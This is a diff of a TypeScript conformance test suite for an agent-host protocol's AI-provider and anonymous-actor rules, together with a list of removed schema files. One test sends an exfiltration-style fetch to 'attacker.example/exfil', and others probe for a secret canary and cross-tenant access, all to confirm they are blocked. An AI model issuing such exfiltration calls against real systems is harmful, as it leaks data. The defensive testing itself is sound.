- package/schemas/conversation-turn.schema.json +0 -117
- package/schemas/core-conformance-mock-agent-config.schema.json +0 -152
- package/schemas/credential-provenance.schema.json +0 -18
- package/schemas/credential-reference.schema.json +0 -21
- package/schemas/debug-bundle.schema.json +0 -196
- package/schemas/dispatch-config.schema.json +0 -112
- package/schemas/envelopes/clarification.request.schema.json +0 -52
- package/schemas/envelopes/error.schema.json +0 -30
- package/schemas/envelopes/media.audio.schema.json +0 -38
- package/schemas/envelopes/media.file.schema.json +0 -37
- package/schemas/envelopes/media.image.schema.json +0 -33
- package/schemas/envelopes/schema.request.schema.json +0 -26
- package/schemas/envelopes/schema.response.schema.json +0 -22
- package/schemas/envelopes/ui.a2ui-surface.schema.json +0 -154
- package/schemas/error-envelope.schema.json +0 -25
- package/schemas/eval-summary.schema.json +0 -92
- package/schemas/export-bundle.schema.json +0 -66
- package/schemas/form-content-pack-manifest.schema.json +0 -243
- package/schemas/frontend-plugin-manifest.schema.json +0 -109
- package/schemas/goal.schema.json +0 -104
- package/schemas/heartbeat-evaluated.schema.json +0 -14
- package/schemas/heartbeat-state-changed.schema.json +0 -14
- package/schemas/localized-content-language-settings.schema.json +0 -26
- package/schemas/localized-content-page-response.schema.json +0 -60
- package/schemas/localized-content-page.schema.json +0 -62
- package/schemas/localized-content-section.schema.json +0 -51
- package/schemas/memory-entry.schema.json +0 -36
- package/schemas/memory-list-options.schema.json +0 -37
- package/schemas/node-pack-manifest.schema.json +0 -654
- package/schemas/orchestrator-decision.schema.json +0 -90
- package/schemas/org-chart-responsibility-view.schema.json +0 -26
- package/schemas/pack-lockfile.schema.json +0 -108
- package/schemas/prompt-kind.schema.json +0 -8
- package/schemas/prompt-pack-manifest.schema.json +0 -117
- package/schemas/prompt-ref.schema.json +0 -40
- package/schemas/prompt-template.schema.json +0 -149
- package/schemas/proposal.schema.json +0 -84
- package/schemas/registry-version-manifest.schema.json +0 -208
- package/schemas/residency.schema.json +0 -16
- package/schemas/run-ancestry-response.schema.json +0 -54
- package/schemas/run-diff-response.schema.json +0 -64
- package/schemas/run-event-payloads.schema.json +0 -4452
- package/schemas/run-event.schema.json +0 -211
- package/schemas/run-options.schema.json +0 -80
- package/schemas/run-orchestrator-decided-event.schema.json +0 -20
- package/schemas/run-snapshot.schema.json +0 -148
- package/schemas/security-advisory.schema.json +0 -109
- package/schemas/self-hosted-runner-dispatch-frame.schema.json +0 -79
- package/schemas/self-hosted-runner-registration.schema.json +0 -53
- package/schemas/self-hosted-runner-result-frame.schema.json +0 -38
- package/schemas/subject.schema.json +0 -56
- package/schemas/suspend-request.schema.json +0 -207
- package/schemas/tool-descriptor.schema.json +0 -63
- package/schemas/trigger-event.schema.json +0 -222
- package/schemas/trigger-subscription-registration.schema.json +0 -67
- package/schemas/trigger-subscription.schema.json +0 -26
- package/schemas/ui-plugin-message.schema.json +0 -90
- package/schemas/workflow-chain-pack-manifest.schema.json +0 -615
- package/schemas/workflow-definition.schema.json +0 -850
- package/schemas/workload-identity.schema.json +0 -79
- package/schemas/workspace-file-create.schema.json +0 -20
- package/schemas/workspace-file.schema.json +0 -39
|
@@ -32,9 +32,7 @@ import { join } from 'node:path';
|
|
|
32
32
|
import Ajv2020 from 'ajv/dist/2020.js';
|
|
33
33
|
import addFormats from 'ajv-formats';
|
|
34
34
|
import { SCHEMAS_DIR } from '../lib/paths.js';
|
|
35
|
-
|
|
36
|
-
/** Server-free assertion-message helper. */
|
|
37
|
-
const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
|
|
35
|
+
import { req } from '../lib/requirement-ids.js';
|
|
38
36
|
|
|
39
37
|
function loadSchema(name: string): Record<string, unknown> {
|
|
40
38
|
return JSON.parse(readFileSync(join(SCHEMAS_DIR, name), 'utf8')) as Record<string, unknown>;
|
|
@@ -87,19 +85,19 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
|
|
|
87
85
|
| undefined;
|
|
88
86
|
expect(
|
|
89
87
|
selfHosted,
|
|
90
|
-
|
|
88
|
+
req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'capabilities.md §aiProviders.selfHosted', 'aiProviders.selfHosted MUST be declared'),
|
|
91
89
|
).toBeDefined();
|
|
92
|
-
expect(selfHosted?.type,
|
|
90
|
+
expect(selfHosted?.type, req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'RFC 0108 §A', 'selfHosted MUST be an array')).toBe('array');
|
|
93
91
|
expect(
|
|
94
92
|
selfHosted?.uniqueItems,
|
|
95
|
-
|
|
93
|
+
req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'RFC 0108 §A', 'selfHosted entries MUST be unique'),
|
|
96
94
|
).toBe(true);
|
|
97
|
-
expect(selfHosted?.items?.type,
|
|
95
|
+
expect(selfHosted?.items?.type, req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'RFC 0108 §A', 'selfHosted entries MUST be strings')).toBe(
|
|
98
96
|
'string',
|
|
99
97
|
);
|
|
100
98
|
expect(
|
|
101
99
|
selfHosted?.items?.minLength,
|
|
102
|
-
|
|
100
|
+
req('openwop.it.aiproviders-selfhosted-shape.aiproviders-selfhosted-is-declared-as-a-string-with-uniqueitems', 'RFC 0108 §A', 'a selfHosted id MUST be non-empty'),
|
|
103
101
|
).toBe(1);
|
|
104
102
|
});
|
|
105
103
|
|
|
@@ -109,7 +107,7 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
|
|
|
109
107
|
const required = Array.isArray(aiProviders?.required) ? (aiProviders!.required as string[]) : [];
|
|
110
108
|
expect(
|
|
111
109
|
required.includes('selfHosted'),
|
|
112
|
-
|
|
110
|
+
req('openwop.it.aiproviders-selfhosted-shape.selfhosted-is-not-in-aiproviders-required-absence-no-self-hosted-endpoint-is-a-v', 'RFC 0108 §A.1', 'aiProviders.selfHosted MUST be optional'),
|
|
113
111
|
).toBe(false);
|
|
114
112
|
});
|
|
115
113
|
|
|
@@ -125,19 +123,19 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
|
|
|
125
123
|
|
|
126
124
|
expect(
|
|
127
125
|
validate(['ollama', 'compat']),
|
|
128
|
-
|
|
126
|
+
req('openwop.it.aiproviders-selfhosted-shape.ajv-accepts-a-conforming-selfhosted-array-and-rejects-non-array-duplicate-empty', 'RFC 0108 §A', 'a conforming selfHosted array MUST validate'),
|
|
129
127
|
).toBe(true);
|
|
130
128
|
expect(
|
|
131
129
|
validate('ollama'),
|
|
132
|
-
|
|
130
|
+
req('openwop.it.aiproviders-selfhosted-shape.ajv-accepts-a-conforming-selfhosted-array-and-rejects-non-array-duplicate-empty', 'RFC 0108 §A', 'a non-array selfHosted MUST be rejected'),
|
|
133
131
|
).toBe(false);
|
|
134
132
|
expect(
|
|
135
133
|
validate(['ollama', 'ollama']),
|
|
136
|
-
|
|
134
|
+
req('openwop.it.aiproviders-selfhosted-shape.ajv-accepts-a-conforming-selfhosted-array-and-rejects-non-array-duplicate-empty', 'RFC 0108 §A', 'duplicate selfHosted entries MUST be rejected (uniqueItems)'),
|
|
137
135
|
).toBe(false);
|
|
138
136
|
expect(
|
|
139
137
|
validate(['']),
|
|
140
|
-
|
|
138
|
+
req('openwop.it.aiproviders-selfhosted-shape.ajv-accepts-a-conforming-selfhosted-array-and-rejects-non-array-duplicate-empty', 'RFC 0108 §A', 'an empty-string selfHosted id MUST be rejected (minLength 1)'),
|
|
141
139
|
).toBe(false);
|
|
142
140
|
});
|
|
143
141
|
|
|
@@ -149,13 +147,13 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
|
|
|
149
147
|
byok: ['anthropic', 'openai', 'compat'],
|
|
150
148
|
selfHosted: ['ollama', 'compat'],
|
|
151
149
|
}),
|
|
152
|
-
|
|
150
|
+
req('openwop.it.aiproviders-selfhosted-shape.a-1-subset-a-3-non-disclosure-a-conforming-doc-has-no-violations-an-out-of-subse', 'RFC 0108 §A.1/§A.3', 'a conforming advertisement MUST have no violations'),
|
|
153
151
|
).toEqual([]);
|
|
154
152
|
|
|
155
153
|
// §A.1 violation: `vllm` not in supported.
|
|
156
154
|
expect(
|
|
157
155
|
validateSelfHosted({ supported: ['anthropic', 'ollama'], selfHosted: ['ollama', 'vllm'] }),
|
|
158
|
-
|
|
156
|
+
req('openwop.it.aiproviders-selfhosted-shape.a-1-subset-a-3-non-disclosure-a-conforming-doc-has-no-violations-an-out-of-subse', 'RFC 0108 §A.1', 'a selfHosted id absent from supported MUST be flagged'),
|
|
159
157
|
).not.toEqual([]);
|
|
160
158
|
|
|
161
159
|
// §A.3 violations: URL-shaped ids leak the endpoint location.
|
|
@@ -166,14 +164,14 @@ describe('aiproviders-selfhosted-shape: self-hosted provider-class advertisement
|
|
|
166
164
|
]) {
|
|
167
165
|
expect(
|
|
168
166
|
isUrlShaped(leaky),
|
|
169
|
-
|
|
167
|
+
req('openwop.it.aiproviders-selfhosted-shape.a-1-subset-a-3-non-disclosure-a-conforming-doc-has-no-violations-an-out-of-subse', 'RFC 0108 §A.3', `the URL-shaped id "${leaky}" MUST be detected as non-conformant`),
|
|
170
168
|
).toBe(true);
|
|
171
169
|
}
|
|
172
170
|
|
|
173
171
|
// A label with a non-numeric suffix (`compat:label`) is NOT URL-shaped — it is a permitted opaque id.
|
|
174
172
|
expect(
|
|
175
173
|
isUrlShaped('compat:local-ollama'),
|
|
176
|
-
|
|
174
|
+
req('openwop.it.aiproviders-selfhosted-shape.a-1-subset-a-3-non-disclosure-a-conforming-doc-has-no-violations-an-out-of-subse', 'RFC 0108 §A.3', 'an opaque `compat:<label>` id (no host:port) MUST be permitted'),
|
|
177
175
|
).toBe(false);
|
|
178
176
|
});
|
|
179
177
|
});
|
|
@@ -31,9 +31,7 @@ import { join } from 'node:path';
|
|
|
31
31
|
import Ajv2020 from 'ajv/dist/2020.js';
|
|
32
32
|
import addFormats from 'ajv-formats';
|
|
33
33
|
import { SCHEMAS_DIR } from '../lib/paths.js';
|
|
34
|
-
|
|
35
|
-
/** Server-free assertion-message helper. */
|
|
36
|
-
const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
|
|
34
|
+
import { req } from '../lib/requirement-ids.js';
|
|
37
35
|
|
|
38
36
|
function loadSchema(name: string): Record<string, unknown> {
|
|
39
37
|
return JSON.parse(readFileSync(join(SCHEMAS_DIR, name), 'utf8')) as Record<string, unknown>;
|
|
@@ -49,11 +47,11 @@ describe('aiproviders-speechsynth-shape: capability advertisement (RFC 0105 §B,
|
|
|
49
47
|
| undefined;
|
|
50
48
|
expect(
|
|
51
49
|
speechSynthesis,
|
|
52
|
-
|
|
50
|
+
req('openwop.it.aiproviders-speechsynth-shape.aiproviders-speechsynthesis-is-declared-as-the-string-const-supported', 'host-capabilities.md §host.aiProviders', 'aiProviders.speechSynthesis MUST be declared'),
|
|
53
51
|
).toBeDefined();
|
|
54
52
|
expect(
|
|
55
53
|
speechSynthesis?.const,
|
|
56
|
-
|
|
54
|
+
req('openwop.it.aiproviders-speechsynth-shape.aiproviders-speechsynthesis-is-declared-as-the-string-const-supported', 'RFC 0105 §B', 'aiProviders.speechSynthesis MUST be the string const "supported" (not an object)'),
|
|
57
55
|
).toBe('supported');
|
|
58
56
|
});
|
|
59
57
|
|
|
@@ -63,7 +61,7 @@ describe('aiproviders-speechsynth-shape: capability advertisement (RFC 0105 §B,
|
|
|
63
61
|
const required = Array.isArray(aiProviders?.required) ? (aiProviders!.required as string[]) : [];
|
|
64
62
|
expect(
|
|
65
63
|
required.includes('speechSynthesis'),
|
|
66
|
-
|
|
64
|
+
req('openwop.it.aiproviders-speechsynth-shape.speechsynthesis-is-not-in-aiproviders-required-absence-no-tts-is-a-valid-default', 'RFC 0105 §B', 'aiProviders.speechSynthesis MUST be optional (a host without TTS is valid)'),
|
|
67
65
|
).toBe(false);
|
|
68
66
|
});
|
|
69
67
|
|
|
@@ -81,12 +79,12 @@ describe('aiproviders-speechsynth-shape: capability advertisement (RFC 0105 §B,
|
|
|
81
79
|
|
|
82
80
|
expect(
|
|
83
81
|
validate('supported'),
|
|
84
|
-
|
|
82
|
+
req('openwop.it.aiproviders-speechsynth-shape.ajv-accepts-the-string-const-form-and-rejects-the-object-form', 'RFC 0105 §B', 'aiProviders.speechSynthesis === "supported" MUST validate'),
|
|
85
83
|
).toBe(true);
|
|
86
84
|
|
|
87
85
|
expect(
|
|
88
86
|
validate({ supported: true }),
|
|
89
|
-
|
|
87
|
+
req('openwop.it.aiproviders-speechsynth-shape.ajv-accepts-the-string-const-form-and-rejects-the-object-form', 'RFC 0105 §B', 'the object form { supported: true } MUST be rejected by the const'),
|
|
90
88
|
).toBe(false);
|
|
91
89
|
});
|
|
92
90
|
});
|
|
@@ -38,9 +38,8 @@ import { driver } from '../lib/driver.js';
|
|
|
38
38
|
import { behaviorGate } from '../lib/behavior-gate.js';
|
|
39
39
|
import { readCapabilityFamily } from '../lib/discovery-capabilities.js';
|
|
40
40
|
import { SCHEMAS_DIR } from '../lib/paths.js';
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
|
|
41
|
+
import { req } from '../lib/requirement-ids.js';
|
|
42
|
+
import { softSkip } from '../lib/soft-skip.js';
|
|
44
43
|
|
|
45
44
|
/** Read the canonical error code from a response body (tolerant of
|
|
46
45
|
* `{error}` / `{code}` / `{error:{code}}` shapes). */
|
|
@@ -73,7 +72,7 @@ describe('aiproviders-subscription-scope: schema shape (RFC 0121, server-free)',
|
|
|
73
72
|
| undefined;
|
|
74
73
|
expect(
|
|
75
74
|
authModes?.additionalProperties?.items?.enum,
|
|
76
|
-
|
|
75
|
+
req('openwop.it.aiproviders-subscription-scope.the-aiproviders-authmodes-enum-includes-subscription', 'capabilities.md §aiProviders.authModes', 'the authModes enum MUST include "subscription" (RFC 0121)'),
|
|
77
76
|
).toContain('subscription');
|
|
78
77
|
});
|
|
79
78
|
});
|
|
@@ -94,7 +93,7 @@ describe('aiproviders-subscription-scope: §B.7 in-byok (advertisement-gated)',
|
|
|
94
93
|
for (const provider of subProviders) {
|
|
95
94
|
expect(
|
|
96
95
|
byok.has(provider),
|
|
97
|
-
|
|
96
|
+
req('openwop.it.aiproviders-subscription-scope.every-advertised-subscription-provider-appears-in-aiproviders-byok', 'RFC 0121 §B.7', `subscription provider '${provider}' MUST appear in aiProviders.byok`),
|
|
98
97
|
).toBe(true);
|
|
99
98
|
}
|
|
100
99
|
});
|
|
@@ -110,18 +109,18 @@ describe('aiproviders-subscription-scope: §B.8 user-scope-only (bind-seam-gated
|
|
|
110
109
|
// multi-instance deploy with no durable per-user login) can still prove the
|
|
111
110
|
// safety rail here. Soft-skips on 404 when the seam is unwired.
|
|
112
111
|
const res = await driver.post(SEAM, { provider: 'anthropic', mode: 'subscription', scope: 'tenant' });
|
|
113
|
-
if (res.status === 404) return; // seam unwired — soft-skip
|
|
112
|
+
if (res.status === 404) return softSkip('blocked', 'precondition not met — `res.status === 404` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
|
|
114
113
|
|
|
115
114
|
expect(
|
|
116
115
|
res.status >= 400,
|
|
117
|
-
|
|
116
|
+
req('openwop.it.aiproviders-subscription-scope.a-tenant-scope-subscription-binding-is-rejected-with-credential-scope-forbidden',
|
|
118
117
|
'RFC 0121 §B.8',
|
|
119
118
|
`binding a subscription credential at tenant scope MUST be rejected (got HTTP ${res.status})`,
|
|
120
119
|
),
|
|
121
120
|
).toBe(true);
|
|
122
121
|
expect(
|
|
123
122
|
errCode(res.json),
|
|
124
|
-
|
|
123
|
+
req('openwop.it.aiproviders-subscription-scope.a-tenant-scope-subscription-binding-is-rejected-with-credential-scope-forbidden',
|
|
125
124
|
'RFC 0121 §B.8',
|
|
126
125
|
'a rejected tenant-scope subscription binding MUST carry the canonical `credential_scope_forbidden` error code',
|
|
127
126
|
),
|
|
@@ -18,8 +18,9 @@
|
|
|
18
18
|
|
|
19
19
|
import { describe, it, expect } from 'vitest';
|
|
20
20
|
import { behaviorGate } from '../lib/behavior-gate.js';
|
|
21
|
-
import { driver } from '../lib/driver.js';
|
|
22
21
|
import { isAnonymousActorAdvertised, anonDispatch } from '../lib/anonymousActor.js';
|
|
22
|
+
import { req } from '../lib/requirement-ids.js';
|
|
23
|
+
import { softSkip } from '../lib/soft-skip.js';
|
|
23
24
|
|
|
24
25
|
const PROFILE = 'openwop-anonymous-actor';
|
|
25
26
|
|
|
@@ -33,19 +34,19 @@ describe('anonymous-actor-audit-opaque (RFC 0132 §D)', () => {
|
|
|
33
34
|
it('the authorization.decided principal is opaque, non-PII, and the record carries no credential', async () => {
|
|
34
35
|
if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
|
|
35
36
|
const res = await anonDispatch({ tool: 'catalog.read' });
|
|
36
|
-
if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
|
|
37
|
+
if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
|
|
37
38
|
|
|
38
39
|
const decided = res.json?.authorizationDecided?.payload;
|
|
39
40
|
expect(
|
|
40
41
|
decided?.principal,
|
|
41
|
-
|
|
42
|
+
req('openwop.it.anonymous-actor-audit-opaque.the-authorization-decided-principal-is-opaque-non-pii-and-the-record-carries-no', 'RFC 0132 §D', 'an anon tool call MUST emit authorization.decided with a principal'),
|
|
42
43
|
).toBeTruthy();
|
|
43
44
|
|
|
44
45
|
const principal = decided?.principal ?? '';
|
|
45
46
|
for (const [pattern, label] of PII_PATTERNS) {
|
|
46
47
|
expect(
|
|
47
48
|
pattern.test(principal),
|
|
48
|
-
|
|
49
|
+
req('openwop.it.anonymous-actor-audit-opaque.the-authorization-decided-principal-is-opaque-non-pii-and-the-record-carries-no', 'SECURITY anon-actor-audit-opaque', `the anon principal MUST NOT embed ${label}`),
|
|
49
50
|
).toBe(false);
|
|
50
51
|
}
|
|
51
52
|
// The record MUST NOT carry credential material (reason is redaction-safe).
|
|
@@ -53,7 +54,7 @@ describe('anonymous-actor-audit-opaque (RFC 0132 §D)', () => {
|
|
|
53
54
|
for (const [pattern, label] of PII_PATTERNS) {
|
|
54
55
|
expect(
|
|
55
56
|
pattern.test(serialized),
|
|
56
|
-
|
|
57
|
+
req('openwop.it.anonymous-actor-audit-opaque.the-authorization-decided-principal-is-opaque-non-pii-and-the-record-carries-no', 'SECURITY anon-actor-audit-opaque', `the audit record MUST NOT carry ${label}`),
|
|
57
58
|
).toBe(false);
|
|
58
59
|
}
|
|
59
60
|
});
|
|
@@ -61,11 +62,11 @@ describe('anonymous-actor-audit-opaque (RFC 0132 §D)', () => {
|
|
|
61
62
|
it('the run snapshot echoes owner.principalKind "anonymous"', async () => {
|
|
62
63
|
if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
|
|
63
64
|
const res = await anonDispatch({ tool: 'catalog.read' });
|
|
64
|
-
if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
|
|
65
|
-
if (!res.json?.owner) return; // seam does not echo an owner triple — nothing to assert
|
|
65
|
+
if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
|
|
66
|
+
if (!res.json?.owner) return softSkip('blocked', 'precondition not met — `!res.json?.owner` returned early (seam does not echo an owner triple — nothing to assert) (seam, prior step, or fixture unavailable)'); // seam does not echo an owner triple — nothing to assert
|
|
66
67
|
expect(
|
|
67
68
|
res.json.owner.principalKind,
|
|
68
|
-
|
|
69
|
+
req('openwop.it.anonymous-actor-audit-opaque.the-run-snapshot-echoes-owner-principalkind-anonymous', 'RFC 0132 §A', 'an anon-authorized run MUST set owner.principalKind "anonymous"'),
|
|
69
70
|
).toBe('anonymous');
|
|
70
71
|
});
|
|
71
72
|
});
|
|
@@ -24,13 +24,14 @@
|
|
|
24
24
|
|
|
25
25
|
import { describe, it, expect } from 'vitest';
|
|
26
26
|
import { behaviorGate } from '../lib/behavior-gate.js';
|
|
27
|
-
import { driver } from '../lib/driver.js';
|
|
28
27
|
import {
|
|
29
28
|
isAnonymousActorAdvertised,
|
|
30
29
|
anonDispatch,
|
|
31
30
|
anonToolCatalog,
|
|
32
31
|
readAnonymousActorCap,
|
|
33
32
|
} from '../lib/anonymousActor.js';
|
|
33
|
+
import { req } from '../lib/requirement-ids.js';
|
|
34
|
+
import { softSkip } from '../lib/soft-skip.js';
|
|
34
35
|
|
|
35
36
|
const PROFILE = 'openwop-anonymous-actor';
|
|
36
37
|
|
|
@@ -41,36 +42,36 @@ describe('anonymous-actor-default-deny (RFC 0132 §C.1)', () => {
|
|
|
41
42
|
it('the anon tool catalog returns only the explicit surface grant — never a default baseline', async () => {
|
|
42
43
|
if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
|
|
43
44
|
const cat = await anonToolCatalog();
|
|
44
|
-
if (cat.status === 404 || cat.status === 405) return; // seam unwired — soft-skip
|
|
45
|
+
if (cat.status === 404 || cat.status === 405) return softSkip('blocked', 'precondition not met — `cat.status === 404 || cat.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
|
|
45
46
|
expect(
|
|
46
47
|
cat.status,
|
|
47
|
-
|
|
48
|
+
req('openwop.it.anonymous-actor-default-deny.the-anon-tool-catalog-returns-only-the-explicit-surface-grant-never-a-default-ba', 'RFC 0132 §C.1', 'the anon tool-catalog read MUST resolve (scoped to the anon principal)'),
|
|
48
49
|
).toBe(200);
|
|
49
50
|
// Default-deny: the ungranted baseline tool MUST NOT appear in the anon catalog.
|
|
50
51
|
const names = cat.tools.map((t) => t.name);
|
|
51
52
|
expect(
|
|
52
53
|
names,
|
|
53
|
-
|
|
54
|
+
req('openwop.it.anonymous-actor-default-deny.the-anon-tool-catalog-returns-only-the-explicit-surface-grant-never-a-default-ba', 'RFC 0132 §C.1', 'a default-on baseline tool MUST NOT appear in the anon grant'),
|
|
54
55
|
).not.toContain(UNGRANTED_TOOL);
|
|
55
56
|
});
|
|
56
57
|
|
|
57
58
|
it('calling a non-granted tool denies with reason "anon-not-granted" and does not dispatch', async () => {
|
|
58
59
|
if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
|
|
59
60
|
const res = await anonDispatch({ tool: UNGRANTED_TOOL });
|
|
60
|
-
if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
|
|
61
|
+
if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
|
|
61
62
|
const decided = res.json?.authorizationDecided?.payload;
|
|
62
63
|
expect(
|
|
63
64
|
decided?.allowed,
|
|
64
|
-
|
|
65
|
+
req('openwop.it.anonymous-actor-default-deny.calling-a-non-granted-tool-denies-with-reason-anon-not-granted-and-does-not-disp', 'RFC 0132 §C.1', 'a non-granted anon tool MUST be denied (allowed:false), never default-allowed'),
|
|
65
66
|
).toBe(false);
|
|
66
67
|
expect(
|
|
67
68
|
decided?.reason,
|
|
68
|
-
|
|
69
|
+
req('openwop.it.anonymous-actor-default-deny.calling-a-non-granted-tool-denies-with-reason-anon-not-granted-and-does-not-disp', 'RFC 0132 §C.1', 'a default-deny denial carries the machine reason "anon-not-granted"'),
|
|
69
70
|
).toBe('anon-not-granted');
|
|
70
71
|
// No dispatch — the seam MUST NOT return a tool result for a denied call.
|
|
71
72
|
expect(
|
|
72
73
|
res.json?.result,
|
|
73
|
-
|
|
74
|
+
req('openwop.it.anonymous-actor-default-deny.calling-a-non-granted-tool-denies-with-reason-anon-not-granted-and-does-not-disp', 'RFC 0132 §C.1', 'a denied anon tool MUST NOT dispatch (no result)'),
|
|
74
75
|
).toBeUndefined();
|
|
75
76
|
});
|
|
76
77
|
|
|
@@ -80,7 +81,7 @@ describe('anonymous-actor-default-deny (RFC 0132 §C.1)', () => {
|
|
|
80
81
|
if ((cap?.tiers ?? []).includes('bounded-write-egress')) {
|
|
81
82
|
expect(
|
|
82
83
|
(cap?.writeEgressControls ?? []).length,
|
|
83
|
-
|
|
84
|
+
req('openwop.it.anonymous-actor-default-deny.a-host-that-advertises-bounded-write-egress-also-advertises-a-mandatory-control', 'RFC 0132 §B.2', 'bounded-write-egress MUST advertise ≥1 writeEgressControl'),
|
|
84
85
|
).toBeGreaterThan(0);
|
|
85
86
|
}
|
|
86
87
|
});
|
|
@@ -21,8 +21,9 @@
|
|
|
21
21
|
|
|
22
22
|
import { describe, it, expect } from 'vitest';
|
|
23
23
|
import { behaviorGate } from '../lib/behavior-gate.js';
|
|
24
|
-
import { driver } from '../lib/driver.js';
|
|
25
24
|
import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
|
|
25
|
+
import { req } from '../lib/requirement-ids.js';
|
|
26
|
+
import { softSkip } from '../lib/soft-skip.js';
|
|
26
27
|
|
|
27
28
|
const PROFILE = 'openwop-anonymous-actor';
|
|
28
29
|
|
|
@@ -36,19 +37,19 @@ describe('anonymous-actor-egress-guarded (RFC 0132 §C.3)', () => {
|
|
|
36
37
|
tool: 'http.fetch',
|
|
37
38
|
destination: 'https://attacker.example/exfil',
|
|
38
39
|
});
|
|
39
|
-
if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
|
|
40
|
+
if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
|
|
40
41
|
const egress = res.json?.egressDecided;
|
|
41
42
|
expect(
|
|
42
43
|
egress,
|
|
43
|
-
|
|
44
|
+
req('openwop.it.anonymous-actor-egress-guarded.an-out-of-audience-anon-egress-is-denied-downgraded-and-attaches-no-credential', 'RFC 0132 §C.3', 'an anon egress MUST ride the RFC 0079 egress-decision path'),
|
|
44
45
|
).toBeDefined();
|
|
45
46
|
expect(
|
|
46
47
|
['denied', 'downgraded'],
|
|
47
|
-
|
|
48
|
+
req('openwop.it.anonymous-actor-egress-guarded.an-out-of-audience-anon-egress-is-denied-downgraded-and-attaches-no-credential', 'RFC 0132 §C.3', 'an out-of-audience anon egress MUST be denied or downgraded — never allowed-with-credential'),
|
|
48
49
|
).toContain(egress?.decision);
|
|
49
50
|
expect(
|
|
50
51
|
egress?.credentialAttached === true,
|
|
51
|
-
|
|
52
|
+
req('openwop.it.anonymous-actor-egress-guarded.an-out-of-audience-anon-egress-is-denied-downgraded-and-attaches-no-credential', 'SECURITY anon-actor-egress-ssrf-guarded', 'no tenant/host credential MUST attach out-of-audience'),
|
|
52
53
|
).toBe(false);
|
|
53
54
|
});
|
|
54
55
|
});
|
|
@@ -19,8 +19,9 @@
|
|
|
19
19
|
|
|
20
20
|
import { describe, it, expect } from 'vitest';
|
|
21
21
|
import { behaviorGate } from '../lib/behavior-gate.js';
|
|
22
|
-
import { driver } from '../lib/driver.js';
|
|
23
22
|
import { isAnonymousActorAdvertised, anonDispatch } from '../lib/anonymousActor.js';
|
|
23
|
+
import { req } from '../lib/requirement-ids.js';
|
|
24
|
+
import { softSkip } from '../lib/soft-skip.js';
|
|
24
25
|
|
|
25
26
|
const PROFILE = 'openwop-anonymous-actor';
|
|
26
27
|
|
|
@@ -32,11 +33,11 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
|
|
|
32
33
|
it('a read-tier anon tool call never surfaces a planted BYOK canary', async () => {
|
|
33
34
|
if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
|
|
34
35
|
const res = await anonDispatch({ tool: 'catalog.read', args: { probeSecrets: true } });
|
|
35
|
-
if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
|
|
36
|
+
if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
|
|
36
37
|
const serialized = JSON.stringify(res.json ?? {});
|
|
37
38
|
expect(
|
|
38
39
|
serialized.includes(BYOK_CANARY),
|
|
39
|
-
|
|
40
|
+
req('openwop.it.anonymous-actor-no-secret-reach.a-read-tier-anon-tool-call-never-surfaces-a-planted-byok-canary', 'SECURITY anon-actor-no-secret-reach', 'an anon tool call MUST NOT surface secret/BYOK material'),
|
|
40
41
|
).toBe(false);
|
|
41
42
|
});
|
|
42
43
|
|
|
@@ -50,7 +51,7 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
|
|
|
50
51
|
// one non-conformant behavior is resolving/returning the caller's tenant.
|
|
51
52
|
const CROSS = 'other-tenant';
|
|
52
53
|
const res = await anonDispatch({ tool: 'catalog.read', args: { tenant: CROSS } });
|
|
53
|
-
if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
|
|
54
|
+
if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
|
|
54
55
|
const decided = res.json?.authorizationDecided?.payload;
|
|
55
56
|
const deniedByDecision = decided?.allowed === false;
|
|
56
57
|
const deniedByStatus = res.status === 403 || res.status === 404;
|
|
